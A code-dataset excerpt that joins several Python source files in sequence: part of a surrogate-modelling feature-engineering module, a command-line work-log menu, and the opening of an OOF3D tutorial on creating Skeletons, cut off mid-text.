== shapes1[0] for shape1 in shapes1]), \\\n \"The size of the second dimension must be the same for all features.\"\n # if a second dimension is specified, it is assumed that we must loop over this\n # dimension in order to make a single prediction\n n_points = shapes1[0]\n\n # time-lagged surrogate\n if self.lags is not None:\n\n # append the current state X to the feature history\n self.append_feat(X)\n\n # if not local, get entire feature vector and feed forward\n if not local:\n feat = self.get_feat_history()\n return feed_forward(feat)\n # if local, loop over the 2nd dimension of the feature vector and feed forward\n # every entry\n else:\n y = []\n for p in range(n_points):\n feat = self.get_feat_history(index=p)\n y.append(feed_forward(feat))\n return np.array(y).flatten()\n # no lags\n else:\n # no lags and non local, create a single vector of X and feed forward\n if not local:\n feat = np.concatenate(X)\n return feed_forward(feat)\n # no lags and local, get feature vector and loop over 2nd dimension\n else:\n # if passed list of features [n_samples x n_grid_points]\n X = np.array(X).reshape([n_points, len(X)])\n #X_train.append(np.moveaxis(np.array(X[i]), 0, -1).reshape([self.n_train, -1]))\n y = []\n for p in range(n_points):\n y.append(feed_forward(X[p])) # GP case: for single sample should be one point\n return np.array(y).flatten()\n\n def filter_values(self, feats, interval):\n \"\"\"\n Choose only those samples for which feature value lies\n Args:\n feats:\n interval:\n\n Returns:\n\n \"\"\"\n\n def chose_feature_from_acquisition(self, acquisition_function, X_cands,\n candidate_search=True, n_new_cands=1):\n \"\"\"\n Returns a new parameter value as a minimum of acquisition function, as well as its index among suggested\n candidates index in surrogate test set.\n\n 1) pass the bounds or better set of candidate points in X (by default: set of test X)\n 2) pass the criteria / acquisition function f:X->R\n 3) pass the number of new candidates per iteration (default=1)\n 4) choose the x_star as argmin acquisition\n 5) extrude x_star from test set and add to train set\n 6) assign new x_train and x_test\n 7) return the new sample to add to training set x_min\n\n Parameters\n ----------\n acquisition_function : the function which minimum defines the optimal new sample to add to training set\n A callable which can accept a single argument with in same format as .predict() method\n X_cands : list of input parameters / features\n The new sample for training will be chosen from this list\n candidate_search: boolean, if True search among the list of candidate values,\n if False generate new value within boundary box as minimum using scipy.minimize()\n n_new_cands: integer, number of new candidate input points to return\n\n Returns\n -------\n array\n feed_forward(X)\n \"\"\"\n\n if candidate_search:\n\n cand_vals = [acquisition_function(x) for x in X_cands]\n x_min_ind_test = np.argmin(np.array(cand_vals))\n x_min = X_cands[x_min_ind_test]\n x_min_ind_glob = self.test_indices[x_min_ind_test]\n\n else:\n boundminima = np.array(X_cands).min(axis=0)\n boundmaxima = np.array(X_cands).max(axis=0)\n currbounds = []\n for i in range(self.n_dim):\n currbounds.append((boundminima[i], boundmaxima[i]))\n\n opt_start_point = [statistics.mean(x) for x in currbounds]\n\n newpoints = minimize(acquisition_function, np.array(opt_start_point),\n bounds=currbounds) # bounds for current GP case\n if newpoints.success:\n x_min = newpoints['x']\n\n x_min_ind_test = 0\n x_min_ind_glob = 0\n\n print('Using new %d samples to retrain the ML model' % n_new_cands)\n\n return x_min, x_min_ind_test, x_min_ind_glob\n\n def get_training_data(\n self,\n feats,\n target,\n lags=None,\n local=False,\n test_frac=0.0,\n valid_frac=0.0,\n train_first=True,\n index=None):\n \"\"\"\n Generate training data. Training data can be made (time) lagged and/or local.\n\n Parameters\n ----------\n feats : Array or list of arrays\n A single feature array or a list of different feature arrays. The shape of the feature\n arrays must be (n_samples, n_points_i). Here n_samples is the number of samples and\n n_points_i is the size of a single sample of the i-th feature.\n target : Array\n The target that must be predicted by the surrogate. The shape of this array must be\n (n_samples, n_target), where n_target is the size of a single sample.\n lags : list of lists, optional\n In the case of a time-lagged surrogate, this list contains the time lags of\n each distinct feature. Each time lag is specified as a list. Example: if\n feats = [X1, X2], and lags = [[1], [1,2]], then X_1 will get lagged by one time step\n and X_2 will get lagged by two time steps. The default is None.\n local : boolean, optional\n If false, each feature sample of n_points_i will be used as input. If true, the\n surrogate will be applied locally, meaning that n_points_i separate scalar input\n features will be extracted from each feature sample. If true, the size of all\n features and target must be the same: n_points_i (for all i) = n_target = a fixed\n number. The default is False.\n test_frac : float, optional\n The final fraction of the training data that is withheld from training.\n The default is 0.0, and it must be in [0.0, 1.0].\n valid_frac : float, optional\n The fraction of the testing data that is withheld to be considered for validation.\n The default is 0.0, and it must be in [0.0, 1.0].\n train_first: boolean, if True then use first (1.0-test_frac) samples for training,\n otherwise chose training sample at random\n index: list of inidices of data samples to be chosen for training set\n\n Returns\n -------\n X_train:\n y_train:\n X_test:\n y_test:\n \"\"\"\n\n if not isinstance(feats, list):\n feats = [feats]\n\n # the number of distinct feature arrays\n self.n_feat_arrays = len(feats)\n\n # flag if the surrogate is to be applied locally or not\n self.local = local\n\n # initialize storage for online training\n self.online_feats = [[] for i in range(self.n_feat_arrays)]\n self.online_target = []\n\n # number of training samples\n self.n_samples = feats[0].shape[0]\n # number of points in the computational grid\n self.n_points = feats[0].shape[1]\n\n # Depends on the way the test points are chosen\n # compute the size of the training set based on value of test_frac\n self.n_train = round(self.n_samples * (1.0 - test_frac))\n # number of testing points, as what is left after excluding training set\n self.n_test = int(self.n_samples - self.n_train)\n # get indices of samples to be used for training\n # 1) train_first True: choose first (1-test_frac) fraction of the data set points, if points arranged in time\n # 2) train_first False: choose (1-test_frac) fraction of data set at\n # random without replacement\n if train_first:\n # chose train fraction from first sims\n self.train_indices = np.arange(self.n_samples)[:self.n_train]\n self.test_indices = np.arange(self.n_samples)[self.n_train:]\n else:\n self.train_indices = np.random.choice(self.n_samples, self.n_train, replace=False)\n self.train_indices = np.sort(self.train_indices)\n self.test_indices = np.array(\n [el for el in list(range(0, self.n_samples)) if el not in self.train_indices])\n\n # TODO: for GP and other models bad for extrapolation:\n # add option to prioritize training samples at the border of presented parameter space\n print('Using %d/%d samples to train the ML model' % (self.n_train, self.n_samples))\n\n if index is not None:\n self.n_train = len(index)\n self.n_test = self.n_samples - self.n_train\n self.train_indices = index\n self.test_indices = np.array(\n [el for el in list(range(0, self.n_samples)) if el not in self.train_indices])\n\n X = {}\n y = {}\n if self.n_test > 0:\n X_r = {}\n y_r = {}\n # use the entire row as a feature\n if not local:\n # list of features\n X[0] = [X_i[self.train_indices] for X_i in feats] # chose train fraction randomly\n # the target data\n y[0] = target[self.train_indices]\n if self.n_test > 0:\n X_r[0] = [X_i[self.test_indices] for X_i in feats] # chose train fraction randomly\n y_r[0] = target[self.test_indices]\n # do not use entire row as feature, apply surrogate locally along second dimension\n else:\n # create a separate training set for every grid point\n for i in range(self.n_points):\n X[i] = [X_i[self.train_indices, i] for X_i in feats]\n y[i] = target[self.train_indices].reshape([-1, 1])\n if self.n_test > 0:\n X_r[i] = [X_i[self.test_indices, i] for X_i in feats]\n y_r[i] = target[self.test_indices, i].reshape([-1, 1])\n\n X_train = []\n y_train = []\n\n X_test = []\n y_test = []\n\n # No time-lagged training data\n if lags is not None:\n self.max_lag = np.max(list(chain(*lags)))\n print('Creating time-lagged training data...')\n # lag every training set in X and y\n for i in range(len(X)):\n X_train_i, y_train_i = self.lag_training_data(X[i], y[i], lags=lags)\n X_train.append(X_train_i)\n y_train.append(y_train_i)\n if self.n_test > 0:\n # lag testing set as well, so it correspond to new features generated during lagging\n # NB: works only for train_first=True\n for i in range(len(X_r)):\n X_test_i, y_test_i = self.lag_training_data(X_r[i], y_r[i], lags=lags)\n X_test.append(X_test_i)\n y_test.append(y_test_i)\n else:\n self.max_lag = 0\n # no time lag, just add every entry in X and y to an array\n # loop over all spatial points in the case of a local surrogate. For non-local\n # surrogates, len(X) = 1\n for i in range(len(X)):\n\n # if only one unique feature vector is used\n if len(X[i]) == 1:\n X_train.append(np.array(X[i]).reshape([self.n_train, -1]))\n # if there are multiple feature vectors, concatenate them\n else:\n #X_train.append(np.concatenate(X[i], axis=1))\n X_train.append(np.moveaxis(np.array(X[i]), 0, -1).reshape([self.n_train, -1]))\n\n y_train.append(y[i])\n # Testing data\n if self.n_test > 0:\n # appends same feature values in a single nfeat-long array\n X_test.append(np.moveaxis(np.array(X_r[i]), 0, -1).reshape([self.n_test, -1]))\n y_test.append(y_r[i])\n\n X_train = np.concatenate(X_train)\n y_train = np.concatenate(y_train)\n # Testing and validation data\n if self.n_test > 0:\n if valid_frac > 0.0:\n # validation fraction is extracted from original test fraction\n # (valid_frac always has t0 be lesser than test_frac)\n self.n_valid = (self.n_test + self.n_train) * valid_frac\n X_valid = X_test[-self.n_valid:]\n X_test = X_test[:-self.n_valid]\n y_valid = y_test[-self.n_valid:]\n y_test = y_test[:-self.n_valid]\n X_valid = np.concatenate(X_valid)\n y_valid = np.concatenate(y_valid)\n\n X_test = np.concatenate(X_test)\n y_test = np.concatenate(y_test)\n print('done preparing data')\n else:\n X_test = None #np.empty((0, X_train.shape[1]))\n y_test = None #np.empty((0, y_train.shape[1]))\n\n return X_train, y_train, X_test, y_test\n\n def get_online_training_data(self, **kwargs):\n \"\"\"\n Return the training data for a single online-learning step.\n\n Returns\n -------\n X_train : array\n The feature array.\n y_train : array\n The target array.\n\n \"\"\"\n\n feats = self.online_feats\n target = np.array(self.online_target)\n\n # if lagged feature vectors are used\n if self.lags is not None:\n\n feats = [np.array(feat) for feat in feats]\n if not self.local:\n # create (time-lagged) training data from X\n X_train, y_train = self.lag_training_data(feats, target, lags=self.lags,\n init_feats=False)\n else:\n X_train = []\n y_train = []\n # create a separate training set for every grid point\n for i in range(self.n_points):\n X_i = [X_i[:, i] for X_i in feats]\n y_i = target[:, i].reshape([-1, 1])\n # create time-lagged data per gridpoint\n X_train_i, y_train_i = self.lag_training_data(X_i, y_i, lags=self.lags,\n init_feats=False)\n X_train.append(X_train_i)\n y_train.append(y_train_i)\n X_train = np.concatenate(X_train)\n y_train = np.concatenate(y_train)\n\n # do not time lag data\n else:\n # make a single array where each row contains a concateated vector of all feature\n # vectors\n X_train = np.concatenate(feats, axis=1)\n X_train = X_train.reshape([-1, kwargs['n_in']])\n y_train = target.reshape([-1, kwargs['n_out']])\n\n return X_train, y_train\n\n def generate_online_training_data(self, feats, LR_before, LR_after, HR_before, HR_after):\n \"\"\"\n Compute the features and the target data for an online training step. Results are\n stored internally, and used within the 'train_online' subroutine.\n\n Source:\n Rasp, \"Coupled online learning as a way to tackle instabilities and biases\n in neural network parameterizations: general algorithms and Lorenz 96\n case study\", 2020.\n\n Parameters\n ----------\n feats : array or list of arrays\n The input features\n LR_before : array\n Low resolution state at previous time step.\n LR_after : array\n Low resolution state at current time step.\n HR_before : array\n High resolution state at previous time step.\n HR_after : array\n High resolution state at current time step.\n\n Returns\n -------\n None.\n\n \"\"\"\n\n # multiple faetures arrays are stored in a list. For consistency put a single\n # array also in a list.\n if isinstance(feats, np.ndarray):\n feats = [feats]\n\n # store input features\n for i in range(self.n_feat_arrays):\n self.online_feats[i].append(feats[i])\n\n # difference of the low res model between time n and time n+1\n delta_LR = LR_after - LR_before\n # the difference between the low res and high res model at time n\n delta_nudge = LR_before - HR_before\n # difference of the high res model between time n and time n+1\n delta_HR = HR_after - HR_before\n\n # assume that over a small time interval [n, n+1] we can write:\n # delta_HR = would_be_delta_without_nuding + delta_due_to_nudging\n delta_no_nudge_HR = delta_HR - delta_nudge / self.tau_nudge * self.dt_LR\n\n # compute correction from: delta_LR + correction = delta_no_nudge_HR\n correction = delta_no_nudge_HR - delta_LR\n\n # make the correction the target for the neural network. Divide by timestep\n # since update is LR += correction * dt\n self.online_target.append(correction / self.dt_LR)\n\n # remove oldest item from the online features is the window lendth is exceeded\n if len(self.online_feats[0]) > self.window_length:\n for i in range(self.n_feat_arrays):\n self.online_feats[i].pop(0)\n self.online_target.pop(0)\n\n def set_online_training_parameters(self, tau_nudge, dt_LR, window_length):\n \"\"\"\n Stores parameters required for online training.\n\n Parameters\n ----------\n tau_nudge : float\n Nudging time scale.\n dt_LR : float\n Time step low resolution model.\n window_length : int\n The length of the moving window in which online features are stored.\n\n Returns\n -------\n None.\n\n \"\"\"\n self.tau_nudge = tau_nudge\n self.dt_LR = dt_LR\n self.window_length = window_length\n\n def lag_training_data(self, X, y, lags, init_feats=True):\n \"\"\"\n Create time-lagged supervised training data X, y\n\n Parameters:\n X: features. Either an array of dimension (n_samples, n_features)\n or a list of arrays of dimension (n_samples, n_features)\n\n y: training target. Array of dimension (n_samples, n_outputs)\n\n lags: list of lists, containing the integer values of lags\n Example: if X=[X_1, X_2] and lags = [[1], [1, 2]], the first\n feature array X_1 is lagged by 1 (time) step and the second\n by 1 and 2 (time) steps.\n\n Returns:\n X_train, y_trains (arrays), of lagged features and target data. Every\n row of X_train is one (time) lagged feature vector. Every row of y_train\n is a target vector at the next (time) step\n \"\"\"\n\n # compute the max number of lags in lags\n lags_flattened = list(chain(*lags))\n max_lag = np.max(lags_flattened)\n\n # total number of data samples\n n_samples = y.shape[0]\n\n # if X is one array, add it to a list anyway\n if isinstance(X, np.ndarray):\n tmp = []\n tmp.append(X)\n X = tmp\n\n # compute target data at next (time) step\n if y.ndim == 2:\n y_train = y[max_lag:, :]\n elif y.ndim == 1:\n y_train = y[max_lag:]\n else:\n print(\"Error: y must be of dimension (n_samples, ) or (n_samples, n_outputs)\")\n return\n\n # a lag list must be specified for every feature in X\n if len(lags) != len(X):\n print('Error: no specified lags for one of the featutes in X')\n return\n\n # compute the lagged features\n C = []\n idx = 0\n for X_i in X:\n\n for lag in np.sort(lags[idx])[::-1]:\n begin = max_lag - lag\n end = n_samples - lag\n\n if X_i.ndim == 2:\n C.append(X_i[begin:end, :])\n elif X_i.ndim == 1:\n C.append(X_i[begin:end])\n else:\n print(\"Error: X must contains features of dimension (n_samples, ) \\\n or (n_samples, n_features)\")\n return\n idx += 1\n\n # C is a list of lagged features, turn into a single array X_train\n X_train = C[0]\n\n if X_train.ndim == 1:\n X_train = X_train.reshape([y_train.shape[0], 1])\n\n for X_i in C[1:]:\n\n if X_i.ndim == 1:\n X_i = X_i.reshape([y_train.shape[0], 1])\n\n X_train = np.append(X_train, X_i, axis=1)\n\n # initialize the storage of features\n if init_feats:\n self.empty_feature_history(lags)\n\n return X_train, y_train\n\n def bin_data(self, y, n_bins):\n \"\"\"\n Bin the data y in to n_bins non-overlapping bins\n\n Parameters\n ----------\n y: array\n size (number of samples, number of variables): Data\n n_bins: int\n Number of (equidistant) bins to be used.\n\n Returns\n -------\n None.\n\n \"\"\"\n\n n_samples = y.shape[0]\n\n if y.ndim == 2:\n n_vars = y.shape[1]\n else:\n n_vars = 1\n y = y.reshape([n_samples, 1])\n\n self.binnumbers = np.zeros([n_samples, n_vars]).astype('int')\n self.y_binned = {}\n self.y_binned_mean = {}\n y_idx_binned = np.zeros([n_samples, n_bins * n_vars])\n self.bins = {}\n self.n_vars = n_vars\n\n for i in range(n_vars):\n\n self.y_binned[i] = {}\n self.y_binned_mean[i] = {}\n\n bins = np.linspace(np.min(y[:, i]), np.max(y[:, i]), n_bins + 1)\n self.bins[i] = bins\n\n _, _, self.binnumbers[:, i] = \\\n stats.binned_statistic(y[:, i], np.zeros(n_samples), statistic='count', bins=bins)\n\n unique_binnumbers = np.unique(self.binnumbers[:, i])\n\n offset = i * n_bins\n\n for j in unique_binnumbers:\n idx = np.where(self.binnumbers[:, i] == j)\n self.y_binned[i][j - 1] = y[idx, i]\n self.y_binned_mean[i][j - 1] = np.mean(y[idx, i])\n y_idx_binned[idx, offset + j - 1] = 1.0\n\n return y_idx_binned\n\n def empty_feature_history(self, lags):\n \"\"\"\n Initialize an empty feat_history dict. This dict keeps track of the features\n arrays that were used up until 'max_lag + 1' steps ago.\n\n Parameters:\n\n lags: list of lists, containing the integer values of lags\n Example: if X=[X_1, X_2] and lags = [[1], [1, 2]], the first\n feature array X_1 is lagged by 1 (time) step and the second\n by 1 and 2 (time) steps.\n \"\"\"\n self.lags = []\n\n for l in lags:\n self.lags.append(np.sort(l)[::-1])\n\n # self.max_lag = np.max(list(chain(*lags)))\n\n self.feat_history = {}\n\n # the number of feature arrays that make up the total input feature vector\n # self.n_feat_arrays = len(lags)\n\n for i in range(self.n_feat_arrays):\n self.feat_history[i] = []\n\n def initial_condition_feature_history(self, feats, start=0):\n \"\"\"\n The features can be lagged in time. Therefore, the initial condition of the\n time-lagged feature vector must be set up. The training data is used\n for this.\n\n Parameters\n ----------\n + feats : a list of the variables used to construct the time-lagged\n features: [var_1, var_2, ...]. Each var_i is an array such that\n var_i[0] gives the value of var_i at t_0, var_i[1] at t_1 etc.\n\n + start : the starting index of the training features. Default is 0.\n\n Returns\n -------\n None.\n\n \"\"\"\n for i in range(self.max_lag):\n if not self.local:\n feat = [X_i[start + i] for X_i in feats]\n else:\n feat = [X_i[start + i].reshape([1, -1]) for X_i in feats]\n\n self.append_feat(feat)\n\n def append_feat(self, X):\n \"\"\"\n Append the feature vectors in X to feat_history dict\n\n Parameters:\n\n X: features. Either an array of dimension (n_samples, n_features)\n or a list of arrays of dimension (n_samples, n_features)\n\n \"\"\"\n\n # if X is one array, add it to a list anyway\n if isinstance(X, np.ndarray):\n X = [X]\n\n for i in range(self.n_feat_arrays):\n\n assert isinstance(\n X[i], np.ndarray), 'ERROR: Only numpy arrays are allowed as input features.'\n\n self.feat_history[i].append(X[i])\n\n # if max number of features is reached, remove first item\n if len(self.feat_history[i]) > self.max_lag + 1:\n self.feat_history[i].pop(0)\n\n def get_feat_history(self, **kwargs):\n \"\"\"\n Return the features from the feat_history dict based on the lags\n specified in self.lags\n\n Returns:\n X_i: array of lagged features of dimension (feat1.size + feat2.size + ...,)\n \"\"\"\n X_i = []\n\n idx = 0\n for i in range(self.n_feat_arrays):\n for lag in self.lags[idx]:\n begin = self.max_lag - lag\n current_feat = self.feat_history[i][begin]\n if current_feat.ndim == 1:\n X_i.append(current_feat)\n elif current_feat.shape[1] == 1:\n X_i.append(current_feat.flatten())\n else:\n X_i.append(np.array([current_feat[0][kwargs['index']]]))\n idx += 1\n\n return np.array(list(chain(*X_i)))\n\n # def standardize_data(self, standardize_X=True, standardize_y=True):\n # \"\"\"\n # Standardize the training data\n # \"\"\"\n\n # if standardize_X:\n # X_mean = np.mean(self.X, axis=0)\n # X_std = np.std(self.X, axis=0)\n # else:\n # X_mean = 0.0\n # X_std = 1.0\n\n # if standardize_y:\n # y_mean = np.mean(self.y, axis=0)\n # y_std = np.std(self.y, axis=0)\n # else:\n # y_mean = 0.0\n # y_std = 1.0\n\n # return (self.X - X_mean) / X_std, (self.y - y_mean) / y_std\n\n # def recursive_moments(self, X_np1, mu_n, sigma2_n, N):\n # \"\"\"\n # Recursive formulas for the mean and variance. Computes the new moments\n # when given a new sample and the old moments.\n\n # Arguments\n # ---------\n # + X_np1: a new sample of random variable X\n # + mu_n: the sample mean of X, not including X_np1\n # + sigma2_n: the variance of X, not including X_np1\n # + N: the total number of samples thus far\n\n # Returns\n # -------\n # The mean and variance, updated based on the new sample\n\n # \"\"\"\n # mu_np1 = mu_n + (X_np1 - mu_n) / (N + 1)\n # sigma2_np1 = sigma2_n + mu_n**2 - mu_np1**2 + (X_np1**2 - sigma2_n - mu_n**2) / (N + 1)\n\n # return mu_np1, sigma2_np1\n\n # def estimate_embedding_dimension(self, y, N):\n\n # for n in range(3, N+1):\n\n # lags_n = range(1, n)\n # lags_np1 = range(1, n+1)\n # y_n, _ = self.lag_training_data(y, np.zeros(y.size), [lags_n])\n # y_np1, _ = self.lag_training_data(y, np.zeros(y.size), [lags_np1])\n\n # L = y_np1.shape[0]\n # dist_n = np.zeros(L)\n # dist_np1 = np.zeros(L)\n\n # for l in range(L):\n # # d = np.linalg.norm(y_n - y_n[l], axis = 0)\n # d = np.sum((y_n - y_n[l])**2, axis=1)\n # a, d_min = np.partition(d, 1)[0:2]\n # # d = np.linalg.norm(y_np1 - y_np1[l], axis = 0)\n # d = np.sum((y_np1 - y_np1[l])**2, axis=1)\n # _, d_min2 = np.partition(d, 1)[0:2]\n\n # dist_n[l] = d_min\n # dist_np1[l] = d_min2\n\n # test = np.abs((dist_n - dist_np1)/dist_n)\n\n # print(len(lags_n))\n # print(np.where(test > 20)[0].size)\n","repo_name":"wedeling/EasySurrogate","sub_path":"easysurrogate/methods/Feature_Engineering.py","file_name":"Feature_Engineering.py","file_ext":"py","file_size_in_byte":30641,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"37"} +{"seq_id":"24279951578","text":"import datetime\nimport os\nimport sys\n\nimport customutils\nimport entry\nimport log\nimport search\n\n\nclass Menu:\n \"\"\"User IO and management.\"\"\"\n DEFAULT_LOG = 'entries.CSV'\n SEPARATOR = \"-\"*50+\"\\n\"\n\n def __init__(self):\n self.options = {\"Clear Text\":[\"c\", self.clear_text],\n \"New Entry\": [\"ne\", self.write_entry],\n \"Search Entries\": [\"se\", self.search_entries],\n \"Exit the program\": [\"e\", self.exit_program]}\n self.log_connection = log.Log(self.DEFAULT_LOG)\n\n def run(self):\n while True:\n self.display_main_menu()\n user_choice = input(\"Enter an option: \")\n if user_choice in self.options.keys():\n action = self.options.get(user_choice)\n action()\n elif user_choice in [each[0] for each in self.options.values()]:\n action = [each[1] for each in self.options.values() if user_choice == each[0]]\n action[0]()\n else:\n print(\"{} is not a valid choice\".format(user_choice))\n\n def display_main_menu(self):\n \"\"\"The main menu.\"\"\"\n print(self.SEPARATOR,\"Greetings! Here are our options.\")\n for name, method in self.options.items():\n print(\"Type {} to {}. {}\"\n .format(method[0], method[1].__name__.replace(\"_\", \" \"), method[1].__doc__))\n\n def clear_text(self):\n \"\"\"Removes prior interaction with the program.\"\"\"\n return os.system('cls' if os.name == 'nt' else 'clear')\n\n def write_entry(self):\n \"\"\"Write a single entry to file.\"\"\"\n print(self.SEPARATOR, \"Please fill out the following to write an entry to file.\")\n attempt = 3\n while attempt > 0:\n try:\n title = self._get_title_from_user()\n start_time = self._get_start_date_from_user()\n time_spent = self._get_time_spent_from_user()\n notes = self._get_details_from_user()\n new_entry = entry.Entry(title, start_time, time_spent, notes)\n self.log_connection.write_new_entry(new_entry)\n except Exception as exc:\n print(exc)\n attempt -= 1\n else:\n print(str(new_entry))\n print(\"Entry was successful! Heading back to the main menu.\")\n break\n\n def search_entries(self):\n \"\"\"Search all available entries based on user criterias.\"\"\"\n search_options = {\"by date\": [\"date\", \"by_date\"],\n \"by time spent\": [\"time spent\", \"by_time_spent\"],\n \"exact\": [\"exact\", \"exact\"],\n \"regex\": [\"regex\", \"regex\"]}\n search_engine = search.Search(self.log_connection.get_entries())\n print(self.SEPARATOR, \"Please select a method to search for entries.\")\n for key, value in search_options.items():\n print(\"Type {} to search using {}.\".format(value[0], key))\n search_selection = input(\"Selection:\")\n if search_selection.lower() == \"date\":\n search_results = self._search_date(search_engine)\n if isinstance(search_results, list) and len(search_results) > 0:\n for each in search_results:\n print(each)\n else:\n print(search_results)\n elif search_selection.lower() == \"time spent\":\n search_results = self._search_time_spent(search_engine)\n if isinstance(search_results, list) and len(search_results) > 0:\n for each in search_results:\n print(each)\n else:\n print(search_results)\n elif search_selection.lower() == \"exact\":\n search_results = self._search_exact(search_engine)\n if isinstance(search_results, list) and len(search_results) > 0:\n for each in search_results:\n print(each)\n else:\n print(search_results)\n elif search_selection.lower() == \"regex\":\n search_results = self._search_regex(search_engine)\n if isinstance(search_results, list) and len(search_results) > 0:\n for each in search_results:\n print(each)\n else:\n print(search_results)\n else:\n print(\"That is not a valid selection.\")\n self.search_entries()\n\n def _search_date(self, search_engine):\n start_time_selection = input(\"Which date? Use {} format.\".format(entry.Entry.date_format))\n try:\n returned_entries = search_engine.by_date(start_time_selection)\n if len(returned_entries) > 0:\n return returned_entries\n else:\n return \"No entries meet that criteria.\"\n except Exception as err:\n print(err)\n return self._search_date(search_engine)\n\n def _search_time_spent(self, search_engine):\n time_spent_selection = input(\"How long? Use an integer.\")\n try:\n returned_entries = search_engine.by_time_spent(time_spent_selection)\n if len(returned_entries) > 0:\n return returned_entries\n else:\n return \"No entries meet that criteria.\"\n except Exception as err:\n print(err)\n return self._search_time_spent(search_engine)\n\n def _search_exact(self, search_engine):\n exact_selection = input(\"Type the exact title or note.\")\n try:\n returned_entries = search_engine.exact(exact_selection)\n if len(returned_entries) > 0:\n return returned_entries\n else:\n return \"No entries meet that criteria.\"\n except Exception as err:\n print(err)\n return self._search_exact()\n\n def _search_regex(self, search_engine):\n regex_selection = input(\"Type the pattern.\")\n try:\n returned_entries = search_engine.regex(regex_selection)\n if len(returned_entries) > 0:\n return returned_entries\n else:\n return \"No entries meet that criteria.\"\n except Exception as err:\n print(err)\n return self._search_regex()\n\n def _get_title_from_user(self):\n title = input(\"Please enter a title for this entry:\")\n if title:\n return title\n else:\n return self._get_title_from_user()\n\n def _get_start_date_from_user(self):\n try:\n start_time = input(\"Please enter a start time for the task in the following format {}. \"\n \"Or type 'now' to stamp with current date and time:\"\n .format(entry.Entry.date_format))\n if start_time.lower() == \"now\":\n start_time = datetime.datetime.now().strftime(entry.Entry.date_format)\n customutils.generate_proper_date_from_string(start_time, entry.Entry.date_format)\n return start_time\n except:\n print(\"Format was invalid. Please try again.\")\n return self._get_start_date_from_user()\n\n def _get_time_spent_from_user(self):\n try:\n time_spent = input(\"Please enter a number of minutes applied to the task:\")\n int(time_spent)\n return time_spent\n except:\n print(\"Please enter valid integer.\")\n return self._get_time_spent_from_user()\n\n def _get_details_from_user(self):\n notes = input(\"Enter details:\")\n return notes\n\n def exit_program(self):\n \"\"\"Exits the program.\"\"\"\n print(\"Have a nice day.\")\n sys.exit(0)\n\n","repo_name":"fkirwin/worklog","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":7742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2142096303","text":"from ooflib.tutorials import tutorial\nTutoringItem = tutorial.TutoringItem\nTutorialClass = tutorial.TutorialClass\n\nTutorialClass(\n subject = \"Skeleton\",\n ordering=2,\n lessons = [\n TutoringItem(\n subject=\"Introduction\",\n comments=\n\n \"\"\"This tutorial is designed to give users an overview of how to\n create and modify an OOF3D BOLD(Skeleton).\n\n As you saw in the BOLD(Simple Example) tutorial, you can't create\n an FE mesh directly from a Microstructure in OOF3D.\n\n You need to first create a BOLD(Skeleton), before you get to the\n FE mesh. The Skeleton is a lightweight BOLD(geometric)\n representation of its FE mesh counterpart. The main task in\n creating a Skeleton is adapting it to material boundaries. \"\"\"\n \n ),\n\n## TutoringItem(\n## subject=\"Why skeleton?\",\n## comments=\n\n## \"\"\"Let us assume that we don't have skeleton, meaning we only\n## have FE mesh.\n\n## You spent a considerable amount of time to mesh your\n## microstructure.\n\n## What if you chose the wrong element type in the beginning?\n\n## You need to either start over or write a program to correct\n## your mistakes, which will not be so easy.\n\n## With skeleton, you don't need to go through this kind of\n## hassle.\n\n## You're always a click away from your FE mesh with customizable\n## element types.\n\n## Also, compared to FE mesh, skeleton is extremely\n## BOLD(lighter), that is, it is easy to be manipulated.\n\n## Factoring in a highly intensive computation needed in\n## BOLD(meshing) stage, it is easy to see why we need\n## BOLD(skeleton).\n\n## Further information on skeleton can be found in the manual.\n## \"\"\" ),\n\n## TutoringItem(\n## subject=\"Graphics window\",\n## comments=\n \n## \"\"\"Open a graphics window, if none has been opened yet, with\n## the BOLD(Graphics/New) command in the BOLD(Windows) menu.\n \n## \"\"\" ),\n\n TutoringItem(\n subject=\"Creating a Microstructure from an Image File\",\n comments=\n\n \"\"\"Get started by creating a Microstructure.\n\n Download and unpack the file BOLD(small.tar.gz) from\n http://www.ctcms.nist.gov/oof/oof3d/examples, or locate it within the\n share/oof3d/examples directory in your OOF3D installation.\n\n\n Open the BOLD(Microstructure) page and click BOLD(New from Image\n Files) to create a new microstructure.\n\n In the file selection dialog box, navigate to\n BOLD(small).\n \n Click BOLD(OK) to load the Image and create the Microstructure.\n \"\"\",\n\n signal = (\"new who\", \"Microstructure\")\n ),\n \n TutoringItem(\n subject=\"Categorizing Voxels\",\n comments=\n\n \"\"\"The micrograph features BOLD(eight) distinct colors, each\n corresponding exactly to a microstructural feature. Since the\n correspondence between colors and features is trivial, we can\n group voxels automatically.\n\n Open the BOLD(Image) page and click the BOLD(Group) button.\n\n Go back to the BOLD(Microstructure) page and you will see that\n BOLD(8) voxel groups have been created for the microstructure.\n \"\"\" ),\n\n TutoringItem(\n subject=\"The Skeleton Page\",\n comments=\n\n \"\"\"Now, open the BOLD(Skeleton) page, where we will spend most of\n the time in this tutorial.\n \n The page is composed of three parts.\n\n The top part contains a BOLD(Skeleton Selector) and administrative\n features. The BOLD(Skeleton Selector) is the two pull-down menus\n labelled BOLD(Microstructure) and BOLD(Skeleton). The first lets\n you choose a Microstructure and the second lets you choose a\n Skeleton belonging to that Microstructure.\n\n The BOLD(Skeleton Status) pane on the left is a display for\n Skeleton summary data such as number of nodes and elements.\n \n The BOLD(Skeleton Modification) pane on the right contains a bunch\n of skeleton modification tools that we will use to adapt a\n Skeleton to the material boundaries in its Microstructure. \"\"\" ),\n\n TutoringItem(\n subject=\"Creating a New Skeleton\",\n comments=\n\n \"\"\"Click BOLD(New...) to create an initial skeleton.\n \n As in other cases, to give a skeleton a user-defined name, check\n the little square box and type in a name of your liking.\n\n The number of elements in the initial skeleton can be set with the\n parameters BOLD(x_elements), BOLD(y_elements), and BOLD(z_elements).\n\n You can choose the element shape with the BOLD(skeleton_geometry)\n parameter. OOF3D only has tetragonal elements for now, but future\n releases may have other kinds.\n\n Use the default values for the initial skeleton:\n BOLD(x_elements)=4, BOLD(y_elements)=4, and BOLD(z_elements)=4,\n and BOLD(skeleton_geometry)=TetraSkeleton.\n\n Click BOLD(OK) to create the Skeleton.\n \"\"\",\n \n signal = (\"new who\", \"Skeleton\")\n ),\n\n TutoringItem(\n subject=\"Heterogeneous Elements\",\n comments=\n \n \"\"\" Open a BOLD(Graphics) window if you haven't already. It\n should be showing the skeleton on top of the micrograph.\n\n For 